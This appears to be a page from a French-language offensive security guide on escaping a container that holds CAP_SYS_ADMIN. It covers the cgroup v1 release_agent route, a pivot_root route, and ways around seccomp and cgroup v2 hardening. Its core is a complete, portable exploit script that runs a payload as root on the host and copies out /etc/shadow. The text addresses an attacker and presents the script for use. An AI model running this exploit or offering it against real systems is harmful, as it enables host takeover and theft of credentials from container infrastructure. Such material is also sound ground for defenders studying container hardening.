CAP_SYS_ADMIN est souvent appelée le nouveau root : le noyau verrouille derrière elle une quarantaine d'opérations distinctes, et la plus utile pour s'évader d'un conteneur est mount(2). Grâce à la capacité de monter des systèmes de fichiers dans l'espace de noms de montage du conteneur, un attaquant atteint le mécanisme release_agent de cgroup v1, que le noyau exécute en tant que root dans les espaces de noms de l'hôte. C'est pourquoi l'ajout de cette seule capacité, même sans --privileged, est généralement une compromission totale.
Confirmez la capacité et que le montage fonctionne :
capsh --print | grep -o cap_sys_admin
grep CapEff /proc/self/status # bit 21 set
Voie : release_agent de cgroup v1#
release_agent est un chemin que le noyau invoque, en tant que nouveau processus root sur l'hôte, lorsque le dernier processus quitte un cgroup dont notify_on_release est positionné. CAP_SYS_ADMIN permet au conteneur de monter une nouvelle hiérarchie cgroup v1 et d'écrire les deux fichiers :
# 1. Mount a cgroup v1 controller we can create groups under
mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg
mkdir /tmp/cg/x
# 2. Turn on release notification for the child group
echo 1 > /tmp/cg/x/notify_on_release
# 3. release_agent runs in the HOST filesystem view, so the payload path
# must be resolvable there. Recover this container's rootfs on the host:
host_path=$(sed -n 's/.*\bupperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo | head -1)
echo "$host_path/payload" > /tmp/cg/release_agent
# 4. Drop the payload at that host-visible path
cat > /payload <<SH
#!/bin/sh
ip a > $host_path/net.txt 2>&1
cat /etc/shadow > $host_path/shadow.txt 2>&1
SH
chmod +x /payload
# 5. Trigger: a process that enters then exits the child cgroup empties it
sh -c "echo \$\$ > /tmp/cg/x/cgroup.procs"
sleep 1 && cat /net.txt /shadow.txt
La subtilité de l'étape 3 est que le noyau exécute release_agent depuis le système de fichiers racine de l'hôte, et non celui du conteneur, de sorte qu'écrire /payload à l'intérieur du conteneur est inutile à moins de pointer release_agent vers le chemin upperdir de l'overlay où ce même fichier apparaît sur l'hôte. Le lire depuis /proc/self/mountinfo rend l'exploit portable d'un hôte à l'autre.
Voie : pivot_root et montages directs de l'hôte#
Si un périphérique de l'hôte est accessible (par exemple parce que le conteneur a aussi un accès aux périphériques), CAP_SYS_ADMIN vous permet de le monter et d'effectuer pivot_root dedans, offrant un shell root interactif sur l'hôte sans la manœuvre release_agent. Cela recoupe Périphérique bloc de l'hôte.
Notes d'exploitation#
- La voie release_agent nécessite une hiérarchie cgroup v1. Sur un hôte uniquement en cgroup v2,
mount -t cgroupn'a rien à quoi se rattacher ; vérifiezls /sys/fs/cgroup/release_agentetmount | grep cgroup2. Repliez-vous sur un chargement de module ou un montage de périphérique. - Certains runtimes durcis conservent
CAP_SYS_ADMINmais ajoutent un filtre seccomp qui bloquemount; vérifiez avecgrep Seccomp /proc/self/statuset testez unmount -t tmpfs none /mntjetable. - Cette capacité est impliquée par
--privileged; voir Flag privileged et la page autonome cgroups release_agent pour la technique complète du handler.